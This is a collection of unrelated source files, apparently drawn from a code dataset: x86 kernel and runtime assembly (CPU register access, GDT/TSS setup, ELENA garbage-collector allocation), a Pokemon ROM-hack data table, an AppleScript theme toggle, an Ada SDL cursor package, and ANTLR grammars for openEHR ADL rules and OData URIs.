function __fls, 1
xor reg_ret_32, reg_ret_32
bsr reg_ret_32, reg_arg1_32
ret
function asm_cpuid, 1
%ifidn __BITS__, 64
push rbx
mov r8, reg_arg1
mov eax, [r8 + cpuid_args._eax]
mov ecx, [r8 + cpuid_args._ecx]
cpuid
mov [r8 + cpuid_args._eax], eax
mov [r8 + cpuid_args._ebx], ebx
mov [r8 + cpuid_args._ecx], ecx
mov [r8 + cpuid_args._edx], edx
pop rbx
ret
%elifidn __BITS__, 32
push ebx
push esi
mov esi, reg_arg1
mov eax, [esi + cpuid_args._eax]
mov ecx, [esi + cpuid_args._ecx]
cpuid
mov [esi + cpuid_args._eax], eax
mov [esi + cpuid_args._ebx], ebx
mov [esi + cpuid_args._ecx], ecx
mov [esi + cpuid_args._edx], edx
pop esi
pop ebx
ret
%else
%error "Unimplemented function"
%endif
function asm_btr, 2
lock btr [reg_arg1], reg_arg2
ret
function asm_bts, 2
lock bts [reg_arg1], reg_arg2
ret
function asm_disable_irq, 0
cli
ret
function asm_enable_irq, 0
sti
ret
function asm_fxinit, 0
finit
ret
function asm_fxrstor, 1
fxrstor [reg_arg1]
ret
function asm_fxsave, 1
fxsave [reg_arg1]
ret
function asm_rdmsr, 2
%ifidn __BITS__, 64
mov rcx, reg_arg1
rdmsr
shl rdx, 32
or reg_ret, rdx
ret
%elifidn __CONV__, x32_cdecl
push ebx
mov ebx, reg_arg2
rdmsr
mov [ebx + qword_struct.lo], eax
mov [ebx + qword_struct.hi], edx
pop ebx
ret
%else
%error "Unimplemented function"
%endif
function asm_rdtsc, 1
%ifidn __BITS__, 64
rdtsc
shl rdx, 32
or reg_ret, rdx
ret
%elifidn __BITS__, 32
rdtsc
mov [reg_arg1 + qword_struct.lo], eax
mov [reg_arg1 + qword_struct.hi], edx
ret
%else
%error "Unimplemented function"
%endif
function asm_wrmsr, 2
%ifidn __BITS__, 64
push rbx
mov rbx, reg_arg2
mov rcx, reg_arg1
mov eax, ebx
mov rdx, rbx
shr rdx, 32
wrmsr
pop rbx
ret
%elifidn __CONV__, x32_cdecl
push edi
push esi
mov edi, [reg_arg2 + qword_struct.lo]
mov esi, [reg_arg2 + qword_struct.hi]
mov eax, edi
mov edx, esi
wrmsr
pop esi
pop edi
ret
%else
%error "Unimplemented function"
%endif
function get_kernel_tr_selector, 0
str reg_ret_16
ret
function get_kernel_ldt, 0
sldt reg_ret_16
ret
function get_kernel_gdt, 1
sgdt [reg_arg1]
ret
function get_kernel_idt, 1
sidt [reg_arg1]
ret
function get_kernel_rflags, 0
pushfw
pop reg_ret_16
ret
function set_kernel_ldt, 1
lldt reg_arg1_16
ret
function set_kernel_gdt, 1
lgdt [reg_arg1]
ret
function set_kernel_idt, 1
lidt [reg_arg1]
ret
function_get_reg cr0
function_get_reg cr2
function_get_reg cr3
function_get_reg cr4
function_get_reg dr0
function_get_reg dr1
function_get_reg dr2
function_get_reg dr3
function_get_reg dr6
function_get_reg dr7
function_set_reg cr0
function_set_reg cr2
function_set_reg cr3
function_set_reg cr4
function_set_reg dr0
function_set_reg dr1
function_set_reg dr2
function_set_reg dr3
function_set_reg dr6
function_set_reg dr7
function_get_segment cs
function_get_segment ds
function_get_segment es
function_get_segment ss
function_get_segment gs
function_get_segment fs
function_set_segment cs
function_set_segment ds
function_set_segment es
function_set_segment ss
function_set_segment gs
function_set_segment fs
|
data/radio/pnp_hidden_people.asm
|
Dev727/ancientplatinum
| 28 |
166705
|
; Places and People will not describe these trainers.
PnP_HiddenPeople:
db WILL
db BRUNO
db KAREN
db KOGA
db CHAMPION
; fallthrough
PnP_HiddenPeople_BeatE4:
db BROCK
db MISTY
db LT_SURGE
db ERIKA
db JANINE
db SABRINA
db BLAINE
db BLUE
; fallthrough
PnP_HiddenPeople_BeatKanto:
db RIVAL1
db POKEMON_PROF
db CAL
db RIVAL2
db RED
db -1
|
toggle_theme.scpt
|
tylerlong/useful_apple_scripts
| 1 |
8
|
tell application "System Preferences"
launch
activate
set miniaturized of windows to false
reveal pane id "com.apple.preference.general"
end tell
tell application "System Events"
tell process "System Preferences"
tell first window
click checkbox 3
end tell
end tell
end tell
tell application "System Preferences"
quit
end tell
|
src/main/antlr/adl_rules.g4
|
nedap/adl-antlr
| 0 |
77
|
<filename>src/main/antlr/adl_rules.g4
//
// description: Antlr4 grammar for Rules sub-syntax of Archetype Definition Language (ADL2)
// author: <NAME> <<EMAIL>>
// support: openEHR Specifications PR tracker <https://openehr.atlassian.net/projects/SPECPR/issues>
// copyright: Copyright (c) 2015 openEHR Foundation
// license: Apache 2.0 License <http://www.apache.org/licenses/LICENSE-2.0.html>
//
grammar adl_rules;
import cadl_primitives;
//
// ============== Parser rules ==============
//
assertion: variable_declaration | boolean_assertion;
variable_declaration: '$' identifier ':' identifier '::=' (boolean_expression | arithmetic_expression);
boolean_assertion: ( identifier ':' )? boolean_expression ;
//
// Expressions evaluating to boolean values
//
boolean_expression
: boolean_or_expression
| boolean_expression SYM_IMPLIES boolean_or_expression
;
boolean_or_expression
: boolean_and_expression
| boolean_or_expression SYM_OR boolean_and_expression
;
boolean_and_expression
: boolean_xor_expression
| boolean_and_expression SYM_AND boolean_xor_expression
;
boolean_xor_expression
: boolean_constraint_expression
| boolean_xor_expression SYM_XOR boolean_constraint_expression
;
boolean_constraint_expression
: boolean_constraint
| boolean_leaf;
boolean_constraint: ( adl_path | adl_relative_path ) SYM_MATCHES ('{' c_primitive_object '}' );
boolean_leaf:
boolean_literal
| adl_path
| variable_reference
| SYM_EXISTS adl_path
| '(' boolean_expression ')'
| arithmetic_relop_expr
| SYM_NOT boolean_leaf
;
boolean_literal:
SYM_TRUE
| SYM_FALSE
;
//
// Expressions evaluating to arithmetic values
//
arithmetic_relop_expr: arithmetic_expression relational_binop arithmetic_expression ;
arithmetic_expression
: multiplying_expression
| arithmetic_expression plus_minus_binop multiplying_expression
;
multiplying_expression
: pow_expression
| multiplying_expression mult_binop pow_expression
;
pow_expression
: arithmetic_leaf
| <assoc=right> pow_expression '^' arithmetic_leaf
;
arithmetic_leaf:
integer_value
| real_value
| adl_path
| variable_reference
| '(' arithmetic_expression ')'
| '-' arithmetic_leaf
;
variable_reference: '$' identifier;
plus_minus_binop: '+' | '-';
mult_binop: '*' | '/' | '%';
relational_binop:
SYM_EQ
| SYM_NE
| SYM_GT
| SYM_LT
| SYM_LE
| SYM_GE
;
|
src/kernel/tss.asm
|
TheDarkBomber/apiofirm
| 4 |
800
|
<reponame>TheDarkBomber/apiofirm
global FlushTSS
FlushTSS:
mov ax, 0x28
ltr ax
ret
extern metaGDT
global FlushGDT
FlushGDT:
lgdt [metaGDT]
mov eax, 0x08
push eax
push .reload
retf
.reload:
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
ret
|
asm/x32/core2.asm
|
drkameleon/elena-lang
| 0 |
17169
|
<filename>asm/x32/core2.asm
// --- Predefined References --
define GC_ALLOC 10001h
define BREAK 10026h
define EXPAND_HEAP 10028h
define CORE_GC_TABLE 20002h
define CORE_STATICROOT 20005h
// GC TABLE OFFSETS
define gc_header 0000h
define gc_start 0004h
define gc_yg_start 0008h
define gc_yg_current 000Ch
define gc_yg_end 0010h
define gc_shadow 0014h
define gc_shadow_end 0018h
define gc_mg_start 001Ch
define gc_mg_current 0020h
define gc_end 0024h
define gc_mg_wbar 0028h
define gc_et_current 002Ch
define gc_stack_frame 0030h
define gc_lock 0034h
define gc_signal 0038h
define tt_ptr 003Ch
define tt_lock 0040h
define gc_rootcount 004Ch
// Page Size
define page_size 10h
define page_size_order 4h
define page_size_order_minus2 2h
define page_mask 0FFFFFFF0h
define page_ceil 17h
define struct_mask 800000h
define struct_mask_inv 7FFFFFh
// Object header fields
define elObjectOffset 0008h
define elSizeOffset 0008h
define elVMTOffset 0004h
define elVMTFlagOffset 0008h
define elVMTSizeOffset 000Ch
define elPackageOffset 0010h
define page_align_mask 000FFFF0h
// --- GC_ALLOC ---
// in: ecx - size ; out: ebx - created object
procedure %GC_ALLOC
mov eax, [data : %CORE_GC_TABLE + gc_yg_current]
mov edx, [data : %CORE_GC_TABLE + gc_yg_end]
add ecx, eax
cmp ecx, edx
jae short labYGCollect
mov [data : %CORE_GC_TABLE + gc_yg_current], ecx
lea ebx, [eax + elObjectOffset]
ret
labYGCollect:
// ; restore ecx
sub ecx, eax
// ; save registers
push ebp
// ; lock frame
mov [data : %CORE_GC_TABLE + gc_stack_frame], esp
push ecx
// ; create set of roots
mov ebp, esp
xor ecx, ecx
push ecx // ; reserve place
push ecx
push ecx
// ; save static roots
mov esi, data : %CORE_STATICROOT
mov ecx, [data : %CORE_GC_TABLE + gc_rootcount]
push esi
push ecx
// ; collect frames
mov eax, [data : %CORE_GC_TABLE + gc_stack_frame]
mov ecx, eax
labYGNextFrame:
mov esi, eax
mov eax, [esi]
test eax, eax
jnz short labYGNextFrame
push ecx
sub ecx, esi
neg ecx
push ecx
mov eax, [esi + 4]
test eax, eax
mov ecx, eax
jnz short labYGNextFrame
// === Minor collection ===
mov [ebp-4], esp // ; save position for roots
// ; save mg -> yg roots
mov ebx, [data : %CORE_GC_TABLE + gc_mg_current]
mov edi, [data : %CORE_GC_TABLE + gc_mg_start]
sub ebx, edi // ; we need to check only MG region
jz labWBEnd // ; skip if it is zero
mov esi, [data : %CORE_GC_TABLE + gc_mg_wbar]
shr ebx, page_size_order
// ; lea edi, [edi + elObjectOffset]
labWBNext:
cmp [esi], 0
lea esi, [esi+4]
jnz short labWBMark
sub ebx, 4
ja short labWBNext
nop
nop
jmp short labWBEnd
labWBMark:
lea eax, [esi-4]
sub eax, [data : %CORE_GC_TABLE + gc_mg_wbar]
mov edx, [esi-4]
shl eax, page_size_order
lea eax, [edi + eax + elObjectOffset]
test edx, 0FFh
jz short labWBMark2
mov ecx, [eax-elSizeOffset]
push eax
and ecx, 0FFFFFh
push ecx
labWBMark2:
lea eax, [eax + page_size]
test edx, 0FF00h
jz short labWBMark3
mov ecx, [eax-elSizeOffset]
push eax
and ecx, 0FFFFFh
push ecx
labWBMark3:
lea eax, [eax + page_size]
test edx, 0FF0000h
jz short labWBMark4
mov ecx, [eax-elSizeOffset]
push eax
and ecx, 0FFFFFh
push ecx
labWBMark4:
lea eax, [eax + page_size]
test edx, 0FF000000h
jz short labWBNext
mov ecx, [eax-elSizeOffset]
push eax
and ecx, 0FFFFFh
push ecx
jmp short labWBNext
labWBEnd:
mov ebx, [ebp]
mov eax, esp
push ebx
push eax
call extern 'rt_dlls.GCCollect
mov ebx, eax
mov esp, ebp
pop ecx
pop ebp
ret
end
|
src/sdl-inputs-mice-cursors.ads
|
docandrew/sdlada
| 0 |
24486
|
--------------------------------------------------------------------------------------------------------------------
-- Copyright (c) 2013-2020, <NAME>
--
-- This software is provided 'as-is', without any express or implied
-- warranty. In no event will the authors be held liable for any damages
-- arising from the use of this software.
--
-- Permission is granted to anyone to use this software for any purpose,
-- including commercial applications, and to alter it and redistribute it
-- freely, subject to the following restrictions:
--
-- 1. The origin of this software must not be misrepresented; you must not
-- claim that you wrote the original software. If you use this software
-- in a product, an acknowledgment in the product documentation would be
-- appreciated but is not required.
--
-- 2. Altered source versions must be plainly marked as such, and must not be
-- misrepresented as being the original software.
--
-- 3. This notice may not be removed or altered from any source
-- distribution.
--------------------------------------------------------------------------------------------------------------------
-- SDL.Inputs.Mice.Cursors
--------------------------------------------------------------------------------------------------------------------
with Ada.Finalization;
package SDL.Inputs.Mice.Cursors is
-- Don't confuse this package with any type of Ada iterator, this is for visual mouse cursors.
type Cursor is new Ada.Finalization.Limited_Controlled with private;
overriding
procedure Finalize (Self : in out Cursor);
type System_Cursors is
(Arrow,
I_Beam,
Wait,
Cross_Hair,
Wait_Arrow,
Size_NWSE,
Size_NESW,
Size_WE,
size_NS,
Size_All,
No,
Hand) with
Convention => C;
-- SDL_CreateColorCursor
-- SDL_CreateCursor
procedure Create_System_Cursor (Self : in out Cursor; Cursor_Name : System_Cursors);
procedure Get_Cursor (Self : in out Cursor);
procedure Set_Cursor (Self : in Cursor);
private
type Cursor is new Ada.Finalization.Limited_Controlled with
record
Internal : SDL.C_Pointers.Cursor_Pointer := null;
Owns : Boolean := True;
end record;
end SDL.Inputs.Mice.Cursors;
|
src/grammar/ODataParser.g4
|
cam-m/odata4ts
| 1 |
1482
|
/* ----------------------------------------------------------------------------
* odata-v4.0-abnf for URI conventions transformed into ANTLRv4 syntax from
* https://tools.oasis-open.org/version-control/svn/odata/ in there
* /trunk/spec/ABNF/odata-abnf-construction-rules-v4.0-wd01.txt rev 191
* last modified 2013-02-15 15:41:18 +0000 (from svn info)
* ----------------------------------------------------------------------------
* From the normative ABNF file:
* This grammar uses the ABNF defined in RFC5234 with one extension: literals
* enclosed in single quotes (e.g. '$metadata') are treated case-sensitive.
*
* The following rules assume that URIs have been percent-encoding normalized as
* described in section 6.2.2.2 of RFC3986
* (http://tools.ietf.org/html/rfc3986#section-6.2.2)
* before applying the grammar to them, i.e. all characters in the unreserved
* set (see rule "unreserved" below) are plain literals and NOT percent-encoded.
*
* In addition the characters in rule "unencoded" (see section 7. Punctuation)
* must also be stated as plain literals and not percent-encoded when occurring
* in the resourcePath or queryOptions part of a URI.
* ----------------------------------------------------------------------------
* Contents
* --------
* 1. Resource Path
* 2. Query Options
* 3. Expressions
* 4. JSON format for function and action parameters
* 5. Names and identifiers
* 6. Literal Data Values
* 7. Punctuation
*
* A. URI syntax [RFC3986]
* B. ABNF core definitions [RFC5234]
* C. UTF-8 syntax [RFC3629]
* ----------------------------------------------------------------------------
* Comments from transformation:
* - initial renaming of some rules to
* + make them valid in ANTLRv4 (and ease generation of listeners etc.)
* + start a separation in Lexer and Parser rules
* - Added *_LAC or some other AllVarsLiterals like CollectionOP_LAC etc
* + All ambiguity made eplicit (is the target)
* + Only info of potential interest for app as parser rule (another target)
* - This is an untested hack (currently)
* - All errors belong to 'me' ;-)
* Please cf. lexer grammar for character level info (possibly irrelevant
* for applications instrumenting this grammar to parse a request).
* These notes will be replaced when the code will be released.
*
* Contact: <NAME> <<EMAIL>>
*/
grammar ODataParser;
import ODataLexer;
odataUri : Protocol ColSlaSla host ( COLON port )?
serviceRoot
( ODataSignal_METADATA | ODataSignal_BATCH | odataRelativeUri )? EOF ;
Protocol : HttpOrHttpsAnyCase;
serviceRoot : SLASH ( segmentNZ SLASH )*;
odataRelativeUri : resourcePath ( QUESTION queryOptions )?;
/* ----------------------------------------------------------------------------
* 1. Resource Path
* ----------------------------------------------------------------------------
*/
resourcePath : ( containerQualifier )? entitySetName ( collectionNavigation )?
| ( containerQualifier )? namedEntity ( singleNavigation )?
| actionImportCall
| entityColFunctionImportCall ( collectionNavigation )?
| entityFunctionImportCall ( singleNavigation )?
| complexColFunctionImportCall ( collectionPath )?
| complexFunctionImportCall ( complexPath )?
| primitiveColFunctionImportCall ( collectionPath )?
| primitiveFunctionImportCall ( singlePath )? ;
collectionNavigation : ( SLASH qualifiedEntityTypeName )?
( keyPredicate ( singleNavigation )?
| collectionPath
| EmptyString // for restricting to a derived entity type
);
keyPredicate : simpleKey | compoundKey;
simpleKey : OP keyPropertyValue CP;
compoundKey : OP keyValuePair ( COMMA keyValuePair )* CP;
keyValuePair : primitiveKeyProperty EQ keyPropertyValue;
keyPropertyValue : primitiveLiteral; // restricted to characters that are valid in a URI path segment
singleNavigation : ( SLASH qualifiedEntityTypeName )?
( links SLASH navigationProperty
| SLASH ( entityColNavigationProperty ( collectionNavigation )?
| entityNavigationProperty ( singleNavigation )?
| complexColProperty ( collectionPath )?
| complexProperty ( complexPath )?
| primitiveColProperty ( collectionPath )?
| primitiveProperty ( singlePath )?
| streamProperty
)
| boundOperation
| '' // for casting after key access
);
collectionPath : count | boundOperation;
singlePath : value | boundOperation;
complexPath : ( SLASH qualifiedComplexTypeName )?
( SLASH ( complexProperty ( complexPath )?
| primitiveProperty ( singlePath )?
)
| boundOperation
);
count : ODataSignal_COUNT;
links : ODataSignal_LINKS;
value : ODataSignal_VALUE;
// boundOperation segments can only be composed if the type of the previous segment
// matches the type of the first parameter of the action or function being called.
boundOperation : SLASH ( boundActionCall
| boundEntityColFuncCall ( collectionNavigation )?
| boundEntityFuncCall ( singleNavigation )?
| boundComplexColFuncCall ( collectionPath )?
| boundComplexFuncCall ( complexPath )?
| boundPrimitiveColFuncCall ( collectionPath )?
| boundPrimitiveFuncCall ( singlePath )?
);
// COMMENT_ANTLR: DQ not SQ around empty parenthesis pairs and dot. Why?
actionImportCall : ( containerQualifier )? actionImport ( OP CP )? ;
boundActionCall : namespace DOT action ( OP CP )? ;
// with the added restriction that the binding parameter MUST be either an entity or collection of entities
// and is specified by reference using the URI immediately preceding (to the left) of the boundActionCall
// The following boundXxxFuncCall rules have the added restrictions that
// - the function MUST support binding, and
// - the binding parameter type MUST match the type of resource identified by the
// URI immediately preceding (to the left) of the boundXxxFuncCall, and
// - the functionParameters MUST NOT include the bindingParameter.
boundEntityFuncCall : namespace DOT entityFunction functionParameters ;
boundEntityColFuncCall : namespace DOT entityColFunction functionParameters ;
boundComplexFuncCall : namespace DOT complexFunction functionParameters ;
boundComplexColFuncCall : namespace DOT complexColFunction functionParameters ;
boundPrimitiveFuncCall : namespace DOT primitiveFunction functionParameters ;
boundPrimitiveColFuncCall : namespace DOT primitiveColFunction functionParameters ;
entityFunctionImportCall : ( containerQualifier )? entityFunctionImport functionParameters ;
entityColFunctionImportCall : ( containerQualifier )? entityColFunctionImport functionParameters ;
complexFunctionImportCall : ( containerQualifier )? complexFunctionImport functionParameters ;
complexColFunctionImportCall : ( containerQualifier )? complexColFunctionImport functionParameters ;
primitiveFunctionImportCall : ( containerQualifier )? primitiveFunctionImport functionParameters ;
primitiveColFunctionImportCall : ( containerQualifier )? primitiveColFunctionImport functionParameters ;
functionParameters : OP ( functionParameter ( COMMA functionParameter )* )? CP ;
functionParameter : functionParameterName EQ ( parameterAlias | primitiveLiteral ) ;
functionParameterName : odataIdentifier ;
parameterAlias : AT_SIGN odataIdentifier ;
containerQualifier : namespace DOT entityContainer DOT ;
/* ----------------------------------------------------------------------------
* 2. Query Options
* ----------------------------------------------------------------------------
*/
queryOptions : queryOption ( AMPERSAND queryOption )*;
queryOption : systemQueryOption
| aliasAndValue
| parameterNameAndValue
| customQueryOption;
systemQueryOption : aggregate
| expand
| filter
| format
| orderby
| skip
| top
| inlinecount
| select
| skiptoken;
aggregate : ODataSignal_AGGREGATE EQ aggregateCommand ( SEMI aggregateCommand )*;
aggregateCommand : aggregateClause
| filter
| expand;
aggregateClause : aggregateList ( XWS ODataSignal_GROUPBY XWS groupbyList )?
| ODataSignal_GROUPBY XWS groupbyList;
// COMMENT_ANTLR4: $groupby had DQS and SQS. Why?
aggregateList : aggregateItem *( COMMA aggregateItem );
aggregateItem : property ( XWS As_LLC XWS dynamicProperty )?
| aggregateFunction OP property CP ( XWS As_LLC XWS dynamicProperty )?
| 'count' OP ( property | navigationProperty )? CP XWS As_LLC XWS dynamicProperty
| 'countDistinct' OP ( property | navigationProperty ) CP XWS As_LLC XWS dynamicProperty
| ( navigationProperty SLASH )* OP aggregateList CP
| ( navigationProperty SLASH )* property
| ( navigationProperty SLASH )* aggregateFunction OP property CP;
// COMMENT_ANTLR4: first literal as was in DQ all others in SQS. Why?
groupbyList : groupbyItem ( COMMA groupbyItem )* ;
groupbyItem : property
| navigationProperty SLASH OP groupbyList CP
| navigationProperty SLASH groupbyItem ;
dynamicProperty : odataIdentifier ;
aggregateFunction : Sum_LLC | Min_LLC | Max_LLC | Average_LLC ;
expand : ODataSignal_EXPAND EQ expandItem ( COMMA expandItem )* ;
expandItem : ( qualifiedEntityTypeName SLASH )? navigationProperty
( OP expandOption ( SEMI expandOption )* CP )?;
expandOption : filter
| select
| orderby
| skip
| top
| inlinecount
| expand
| levels;
levels : ODataSignal_LEVELS EQ ( ( Digit )+ | Max_LLC );
filter : ODataSignal_FILTER EQ boolCommonExpr;
orderby : ODataSignal_ORDERBY EQ orderbyItem ( COMMA orderbyItem )*;
orderbyItem : commonExpr ( XWS ( Asc_LLC | Desc_LLC ) )?;
skip : ODataSignal_SKIP EQ ( Digit )+;
top : ODataSignal_TOP EQ ( Digit )+;
format : ODataSignal_FORMAT EQ
( Atom_LLC
| Json_LLC
| Xml_LLC
| ( pChar | SLASH )+ // <a data service specific value indicating a
) ; // format specific to the specific data service> or
// <An IANA-defined [IANA-MMT] content type>
inlinecount : ODataSignal_INLINECOUNT EQ ( AllPages_LLC | None_LLC ) ;
select : ODataSignal_SELECT EQ selectItem ( COMMA selectItem )* ;
selectItem : STAR
| '$ref'
| allOperationsInSchema
| ( qualifiedEntityTypeName SLASH )?
( navigationProperty
| ( ( complexProperty | complexColProperty ) SLASH
( qualifiedComplexTypeName SLASH )?
)* property
| qualifiedActionName
| qualifiedFunctionName
) ;
allOperationsInSchema : namespace DOT STAR ;
// The parameterTypeNames are required to uniquely identify the action or function
// only if it has overloads.
qualifiedActionName : namespace '.' action ( OP parameterTypeNames CP )? ;
qualifiedFunctionName : namespace '.' function ( OP parameterTypeNames CP )? ;
// The types of all the parameters to the corresponding function
// in the order they are declared in the function.
parameterTypeNames : ( parameterTypeName ( COMMA parameterTypeName )* )? ;
parameterTypeName : qualifiedTypeName ;
skiptoken : ODataSignal_SKIPTOKEN EQ
( Unreserved | PctEncoded | OtherDelims | SQ | COLON | AT_SIGN | DOLLAR | EQ )+; // everything except "&" and ";"
aliasAndValue : parameterAlias EQ parameterValue;
parameterNameAndValue : functionParameterName EQ parameterValue;
parameterValue : complexInUri
| complexColInUri
| entityReference
| entityRefColInUri
| primitiveLiteral
| primitiveColInUri;
entityReference : 'KEY' OP
( entityContainer DOT )? entitySetName keyPredicate
( SLASH qualifiedEntityTypeName )?
CP;
customQueryOption : customName ( EQ customValue )?;
customName : ( Unreserved | PctEncoded | OtherDelims | SQ | COLON ) // MUST NOT start with "$" or "@"
( Unreserved | PctEncoded | OtherDelims | SQ | COLON | AT_SIGN | DOLLAR )*; // MUST NOT contain "="
customValue : ( Unreserved | PctEncoded | OtherDelims | SQ | COLON | AT_SIGN | DOLLAR | EQ )*; // everything except "&" and ";"
/* ----------------------------------------------------------------------------
* 3. Expressions
* ----------------------------------------------------------------------------
*/
// TODO: is a boolCommonExpr also a commonExpr? To e.g. sort by Boolean?
commonExpr : ( primitiveLiteral
| parameterAlias
| firstMemberExpr
| functionExpr
| negateExpr
| methodCallExpr
| parenExpr
| castExpr
)
( addExpr
| subExpr
| mulExpr
| divExpr
| modExpr
)?;
boolCommonExpr : ( isofExpr
| boolMethodCallExpr
| notExpr
| commonExpr
( eqExpr
| neExpr
| ltExpr
| leExpr
| gtExpr
| geExpr
| hasExpr
)?
| boolParenExpr
) ( andExpr | orExpr )?;
firstMemberExpr : ( lambdaPredicatePrefixExpr )? // only allowed inside a lambdaPredicateExpr
memberExpr;
memberExpr : ( qualifiedEntityTypeName SLASH )?
( entityColNavigationProperty ( collectionNavigationExpr )?
| entityNavigationProperty ( singleNavigationExpr )?
| complexColProperty ( collectionPathExpr )?
| complexProperty ( complexPathExpr )?
| primitiveColProperty ( collectionPathExpr )?
| primitiveProperty ( singlePathExpr )?
| streamProperty
| boundFunctionExpr
);
lambdaPredicatePrefixExpr : inscopeVariableExpr SLASH;
inscopeVariableExpr : implicitVariableExpr | lambdaVariableExpr;
implicitVariableExpr : DOLLAR 'it' ; // references the unnamed outer variable of the query
// COMMENT_ANTLR: Was any case $it. Why?
lambdaVariableExpr : odataIdentifier;
collectionNavigationExpr : count
| SLASH ( qualifiedEntityTypeName SLASH )?
( boundFunctionExpr
| anyExpr
| allExpr
);
singleNavigationExpr : SLASH memberExpr;
collectionPathExpr : count
| SLASH boundFunctionExpr
| SLASH anyExpr
| SLASH allExpr;
complexPathExpr : SLASH ( qualifiedComplexTypeName SLASH )?
( primitiveProperty ( singlePathExpr )?
| complexProperty ( complexPathExpr )?
| boundFunctionExpr
);
singlePathExpr : SLASH boundFunctionExpr ;
boundFunctionExpr : functionExpr ; // boundFunction segments can only be composed if the type of the
// previous segment matches the type of the first function parameter
functionExpr : namespace DOT
( entityColFunction functionExprParameters ( collectionNavigationExpr )?
| entityFunction functionExprParameters ( singleNavigationExpr )?
| complexColFunction functionExprParameters ( collectionPathExpr )?
| complexFunction functionExprParameters ( complexPathExpr )?
| primitiveColFunction functionExprParameters ( collectionPathExpr )?
| primitiveFunction functionExprParameters ( singlePathExpr )?
)
;
functionExprParameters : OP ( functionExprParameter ( COMMA functionExprParameter )* )? CP ;
functionExprParameter : functionParameterName EQ ( parameterValue | firstMemberExpr ) ;
anyExpr : Any_LLC OP ( XWS )* ( lambdaVariableExpr ( XWS )* COLON ( XWS )* lambdaPredicateExpr )? ( XWS )* CP ;
allExpr : All_LLC OP ( XWS )* lambdaVariableExpr ( XWS )* COLON ( XWS )* lambdaPredicateExpr ( XWS )* CP ;
lambdaPredicateExpr : boolCommonExpr ; // containing at least one lambdaPredicatePrefixExpr
methodCallExpr : indexOfMethodCallExpr
| toLowerMethodCallExpr
| toUpperMethodCallExpr
| trimMethodCallExpr
| substringMethodCallExpr
| concatMethodCallExpr
| lengthMethodCallExpr
| yearMethodCallExpr
| monthMethodCallExpr
| dayMethodCallExpr
| daysMethodCallExpr
| hourMethodCallExpr
| hoursMethodCallExpr
| minuteMethodCallExpr
| minutesMethodCallExpr
| secondMethodCallExpr
| secondsMethodCallExpr
| timeMethodCallExpr
| dateMethodCallExpr
| roundMethodCallExpr
| floorMethodCallExpr
| ceilingMethodCallExpr
| distanceMethodCallExpr
| geoLengthMethodCallExpr
| getTotalOffsetMinutesExpr
| minDateTimeExpr
| maxDateTimeExpr
| nowDateTimeExpr;
boolMethodCallExpr : endsWithMethodCallExpr
| startsWithMethodCallExpr
| substringOfMethodCallExpr
| intersectsMethodCallExpr;
substringOfMethodCallExpr : SubStringOf_LLC OP ( XWS )* commonExpr ( XWS )* COMMA ( XWS )* commonExpr ( XWS )* CP;
startsWithMethodCallExpr : StartsWith_LLC OP ( XWS )* commonExpr ( XWS )* COMMA ( XWS )* commonExpr ( XWS )* CP;
endsWithMethodCallExpr : EndsWith_LLC OP ( XWS )* commonExpr ( XWS )* COMMA ( XWS )* commonExpr ( XWS )* CP;
lengthMethodCallExpr : Length_LLC OP ( XWS )* commonExpr ( XWS )* CP;
indexOfMethodCallExpr : IndexOf_LLC OP ( XWS )* commonExpr ( XWS )* COMMA ( XWS )* commonExpr ( XWS )* CP;
substringMethodCallExpr : Substring_LLC OP ( XWS )* commonExpr ( XWS )* COMMA ( XWS )* commonExpr ( ( XWS )* COMMA ( XWS )* commonExpr ( XWS )* )? CP;
toLowerMethodCallExpr : ToLower_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
toUpperMethodCallExpr : ToUpper_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
trimMethodCallExpr : Trim_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
concatMethodCallExpr : Concat_LLC OP ( XWS )* commonExpr ( XWS )* COMMA ( XWS )* commonExpr ( XWS )* CP;
yearMethodCallExpr : Year_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
monthMethodCallExpr : Month_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
dayMethodCallExpr : Day_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
daysMethodCallExpr : Days_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
hourMethodCallExpr : Hour_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
hoursMethodCallExpr : Hours_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
minuteMethodCallExpr : Minute_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
minutesMethodCallExpr : Minutes_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
secondMethodCallExpr : Second_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
secondsMethodCallExpr : Seconds_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
timeMethodCallExpr : Time_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
dateMethodCallExpr : Date_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
roundMethodCallExpr : Round_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
floorMethodCallExpr : Floor_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
ceilingMethodCallExpr : Ceiling_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
getTotalOffsetMinutesExpr : GetTotalOffsetMinutes_LLC OP ( XWS )* commonExpr ( XWS )* CP ;
distanceMethodCallExpr : GeoDotDistance_LLC OP ( XWS )* commonExpr ( XWS )* COMMA ( XWS )* commonExpr ( XWS )* CP;
geoLengthMethodCallExpr : GeoLength_LLC OP ( XWS )* commonExpr ( XWS )* CP;
intersectsMethodCallExpr : GeoDotIntersects_LLC OP ( XWS )* commonExpr ( XWS )* COMMA ( XWS )* commonExpr ( XWS )* CP;
minDateTimeExpr : MinDateTime_LLC OP ( XWS )* CP ;
maxDateTimeExpr : MaxDateTime_LLC OP ( XWS )* CP ;
nowDateTimeExpr : Now_LLC OP ( XWS )* CP ;
boolParenExpr : OP ( XWS )* boolCommonExpr ( XWS )* CP ;
parenExpr : OP ( XWS )* commonExpr ( XWS )* CP ;
andExpr : XWS And_LLC XWS boolCommonExpr ;
orExpr : XWS Or_LLC XWS boolCommonExpr ;
eqExpr : XWS Eq_LLC XWS commonExpr ;
neExpr : XWS Ne_LLC XWS commonExpr ;
ltExpr : XWS Lt_LLC XWS commonExpr ;
leExpr : XWS Le_LLC XWS commonExpr ;
gtExpr : XWS Gt_LLC XWS commonExpr ;
geExpr : XWS Ge_LLC XWS commonExpr ;
